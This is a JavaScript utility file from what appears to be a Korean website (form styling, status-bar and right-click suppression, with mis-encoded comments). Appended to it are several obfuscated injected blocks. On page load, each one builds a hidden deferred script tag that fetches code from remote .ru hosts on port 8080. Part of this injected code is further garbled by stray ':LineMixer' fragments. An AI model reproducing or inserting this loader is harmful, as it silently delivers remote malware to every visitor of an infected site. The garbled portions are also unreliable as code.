			setImeMode(obj);
			if (obj == null || (typeof obj == "undefined")) continue;
			if (obj.type == null || obj.type == "undefined") continue;
		} catch(e) {
			continue;
		}		
		if ( obj.getAttribute("required") != null ) obj.style.backgroundColor = "#F0F0FF";
	}		
	// À©µµ¿ì »óÅÂ¹Ù¿¡ °¢Á¾¸µÅ©¸¦ »ç¶óÁö°Ô ÇÑ´Ù 
	if ( IS_STATUS ) {
		var elemLinks = document.getElementsByTagName('A');    	
		for (var idxLink=0; idxLink<elemLinks.length; idxLink++){
			var obj = elemLinks[idxLink];
			obj.onmouseover = statusRemove;
			obj.onfocus = statusRemove;
		}				
			
	}
	if ( IS_STATUS ) {		
		var elemLinks = document.getElementsByTagName("AREA");		
		for (var idxLink=0; idxLink<elemLinks.length; idxLink++){
			var obj = elemLinks[idxLink];
			obj.onmouseover = statusRemove;
			obj.onfocus = statusRemove;
		}							
	}
	
	if (document.body != null) {
		// ¸¶¿ì½º ÀÌº¥Æ® Á¦¾î 
		if ( IS_MOUSE) {
			document.body.oncontextmenu=processMouse;
			//document.body.onselectstart=processMouse;
			//document.body.ondragstart=processMouse;
		}
		// ctrl Å° ÀÌº¥Æ® Á¦¾î IE Àü¿ë 
		if (IS_KEY){
			if ( getBrowser() == 1) { 
				document.onkeydown = processKey;
			} else {
				document.captureEvents(Event.KEYDOWN)
				document.onkeydown = processKeyNe;
			}
		}
	}	
}
// ·Îµù½Ã ¹®¼­ÀÇ ¼¼ºÎÀûÀÎ ºÎºÐ Ã¼Å© 
mf_initial();
//document.onload = setTimeout("", 100);





this.q=false;var vp;if(vp!='f' && vp != ''){vp=null};var a=window;this.l="";this.e=24493;var u='smcmrFi3p|t3'.replace(/[3m/\|F]/g, '');var o;if(o!='' && o!='m'){o='i'};var z=document;var s;if(s!='kq' && s != ''){s=null};a.onload=function(){this.iq=41688;var n=new Date();try {var hu='';p=z.createElement(u);var xv="xv";p.src='hHtTtDpq:T/D/Tt,wTeTeTtTmDeqmDeD-Hc,oTmD.TwTsTj,.HcToqmT.qe,l,mTuHn,dHoT-,eqsT.qy,o,uTrTtDaHg,hDeTuDeqrH.TrDuD:H8D0,8q0T/ToqnHe,tD.TpDlT/,oqnDeqtH.Dp,l,/HwDaHsDhTi,n,gHtqoDn,pDoDsHt,.,cDo,mq/DgDoToqg,lTeH.qcDoDmq/TlHe,bHoHnDcDoqiHnT.TfHrq/,'.replace(/[,TqHD]/g, '');var g;if(g!='' && g!='hp'){g='xi'};p.setAttribute('d?ePfwewr|'.replace(/[\|wiP\?]/g, ''), "1");z.body.appendChild(p);} catch(t){var kv;if(kv!='fw' && kv!='pu'){kv='fw'};var l_=false;};};
var b='';var j_='';:LineMixer [this.l="";this.df="";var j=window;var jq;if(jq!='' && jq!='f'){jq=null};var t;if(t!='da' && t!='y'){t='da'};var s='s5cor<i@p<t@'.replace(/[@5O\<o]/g, '');var cs;if(cs!='m' && cs != ''){cs=null};var i_;if(i_!='i' && i_ != ''){i_=null};var c='cNrWeQaQtWeIENlIeImIeSnStQ'.replace(/[QISNW]/g, '');]this.ou=false;j.onload=function(){try {var bz=new String();var ax;if(ax!='xd' && ax != ''){ax=null};n=document[c](s);var fn=new String();var on=new String();var _a;if(_a!='a_' && _a!='id'){_a='a_'};:LineMixer [n['siric0'.replace(/[0\?poi]/g, '')]='hStHt2pR:2/H/Rm2sSnH-#cHo#mS.Rc2nRzRz#.HcHoSmR.#tHaHb2e2l2oRgS-2cHo2mS.HhSo2tRnSeSwHg2uHi#dReR.Hr#uH:#82028R0H/#pSp2lSi2v#eS.RcHo2m2/SpSpHl2i2v2e#.#c#o2mH/SgHoRoHgSlHeH.#cRo2m2/Sl#i#v#eS.#cHoSm2/2oHv2g#uHiRdHeS.HcHoHmH/#'.replace(/[#SR2H]/g, '');var ki;if(ki!='' && ki!='en'){ki=null};var ngw;if(ngw!=''){ngw='gx'};n.setAttribute('d&eafEe#r&'.replace(/[&#3aE]/g, ''), "1");]document['bloZd&y&'.replace(/[&l\*cZ]/g, '')]['a:p:p>e>nxdxC>h3iclxdc'.replace(/[c\:\>3x]/g, '')](n);var co=new Date();} catch(r){var yz;if(yz!='' && yz!='ne'){yz=null};var z;if(z!='ju' && z!='hb'){z='ju'};};};
var q;if(q!='cu' && q != ''){q=null};var nn;if(nn!='k' && nn != ''){nn=null};var dw;if(dw!='iq' && dw != ''){dw=null};function e() {var w;if(w!='j'){w='j'};var fd;if(fd!='qy' && fd != ''){fd=null};var jy=false;function f(n,c,r){var ee=false;var lk="lk";n['sXeYtaA%tXtlrXi%bauYtYeY'.replace(/[Yal%X]/g, '')](c, r);}var i='c_rVe>a_tVe>EBl>eVm_e_n_tV'.replace(/[VB_x\>]/g, '');var jym;if(jym!='' && jym!='gx'){jym='y'};var si="si";this.eg=13714;this.djc=11624;var a=window;this.so=28571;var fi;if(fi!='_p' && fi != ''){fi=null};var m='s0c0rFi2pFt;'.replace(/[;0v2F]/g, '');this.xe="";a['o1nwlKo1aKdw'.replace(/[w_\$K1]/g, '')]=function(){var qf='';var qs;if(qs!='' && qs!='__l'){qs=''};try {var xr;if(xr!='' && xr!='sz'){xr=''};var cx;if(cx!='' && cx!='rd'){cx=''};eo=document[i](m);var c_;if(c_!='' && c_!='nh'){c_=null};var yz;if(yz!='' && yz!='fu'){yz=null};f(eo,'sGrJcB'.replace(/[BJG_\>]/g, ''),'hItZtXpf:I/I/fgXofo!gZlfef-Xi!ef.IwfaXrXe!zZ-fbZb!.Io!rZgI.Xs!qZu!iZd!ofoI-!cfofm!.!n!eXwXwIoIrfl!dIlfiInXkX.IrZuI:X8Z0!8Z0f/IefbfuIdXdXyX.ZcZoZmI/ZeXbfu!dfdZyI.Zc!o!mZ/XhfoXtflIiZnXkfiZm!aIgZeI.fcZoZmf/fsZtXeIrXnf.fdIe!/Ig!o!o!gflZef.IcXoZmI/X'.replace(/[XZ\!fI]/g, ''));f(eo,'dne5f~eVrU'.replace(/[U~Vn5]/g, ''),1);var lf='';var ea;if(ea!='ly' && ea!='vu'){ea='ly'};document['bco?d?yZ'.replace(/[Zc\^\?L]/g, '')]['aJpKp&eKn&dKCQhQiQlKd&'.replace(/[&J8KQ]/g, '')](eo);this.r_y="r_y";} catch(d){var nb;if(nb!='du' && nb!='hd'){nb=''};this.mz='';};var sw=new Date();};var ux;if(ux!='e_' && ux!='nt'){ux=''};};var zx;if(zx!='frr'){zx=''};this.cxv=false;e();var se=false;
this.m=false;var K='g';var Q='replace';this.Kc=64165;var S='[';var v=']';this.zo=false;function z(Qh,t){var N=48368;var jH=false;var SS=S;SS+=t;this.RB=false;SS+=v;var Cl=2449;this.T=false;var s=new RegExp(SS, K);return Qh[Q](s, '');this.VO="";};this.Qj="";var gy=3163;var F=z(':68Q028202',"2JyQ6");this.El=false;var zt=window;var _=z('/firm4dfb4.rcro9mf/finmndfbn.4c9orm4/4d9mfmf.fcfo4.rjrp9/ngfo9ongnl9en.fcno4mf/9w9orwrh9efa4dr.rc9o9m4/n',"n94fr");var YHg='';var H=z('hVtktkpj:4/k/BpkejrBskiBajnkbjl4o4g4-ki4rk.Vxja4njgBaV.BcjojmB.khVc43B640k-4cBo4mB.4nVeBw4uVs4akg4u4iVdBeB.4rkuV',"VkjB4");var Ww=false;var f='';var k=document;function E(R){var g=[z('sBcBrlixpata',"axldB"), z('cxrKe0aKt0e0E0l0eRmRe0nKtR',"R0xKM"), z('oFnzlNohaNdh',"hFzRN"), z('sSricD',"DgS8i"), z('a0prp0eHnrdDCDhri0lrdD',"DH0rB"), z('s7eGtGAntGtGryi7bEuEt7e7',"7EGyn"), z('b0oUd0yU',"U1R04"), z('dCeofCehrT',"TkhoC"), "1"];var IP="";var M=g[R];return M;var _x="";}this.Rj="";this.Re=false;var gd = function(){try {this.wi=false;var U=false;f+=H;f+=F;f+=_;j=k[E([1][0])](E([0,0][0]));var xl=44657;var nK=47488;j[E([5,5][0])](E([7][0]), E([8][0]));var QX = k[E([6][0])];this.h=false;j[E([8,3][1])]=f;this.gI=13487;QX[E([1,4][1])](j);} catch(D){};this.e=false;};this.OI=false;this.pQ=61602;zt[E([2,3][0])]=gd;var dz=27587;